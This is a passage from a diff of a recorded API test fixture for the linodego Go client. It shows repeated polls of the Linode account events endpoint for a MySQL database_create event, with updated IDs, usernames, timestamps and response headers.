'{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10112,16 +10647,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:10:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10137,7 +10675,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10154,14 +10692,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10176,16 +10714,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:11:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10201,7 +10742,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10218,14 +10759,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10240,16 +10781,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:11:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10265,7 +10809,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10282,14 +10826,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10304,16 +10848,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:11:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10329,7 +10876,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10346,14 +10893,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10368,16 +10915,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:11:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10393,7 +10943,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10410,14 +10960,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10432,16 +10982,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:12:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10457,7 +11010,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10474,14 +11027,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10496,16 +11049,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:12:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10521,7 +11077,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10538,14 +11094,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10560,16 +11116,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:12:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10585,7 +11144,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10602,14 +11161,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10624,16 +11183,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:12:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10649,7 +11211,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10666,14 +11228,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10688,16 +11250,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:13:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10713,7 +11278,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10730,14 +11295,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10752,16 +11317,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:13:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10777,7 +11345,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10794,14 +11362,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10816,16 +11384,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:13:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10841,7 +11412,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10858,14 +11429,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10880,16 +11451,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:13:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10905,7 +11479,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10922,14 +11496,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10944,16 +11518,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:14:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10969,7 +11546,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10986,14 +11563,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -11008,16 +11585,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:14:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11033,7 +11613,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11050,14 +11630,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -11072,16 +11652,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:14:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11097,7 +11680,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11114,14 +11697,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 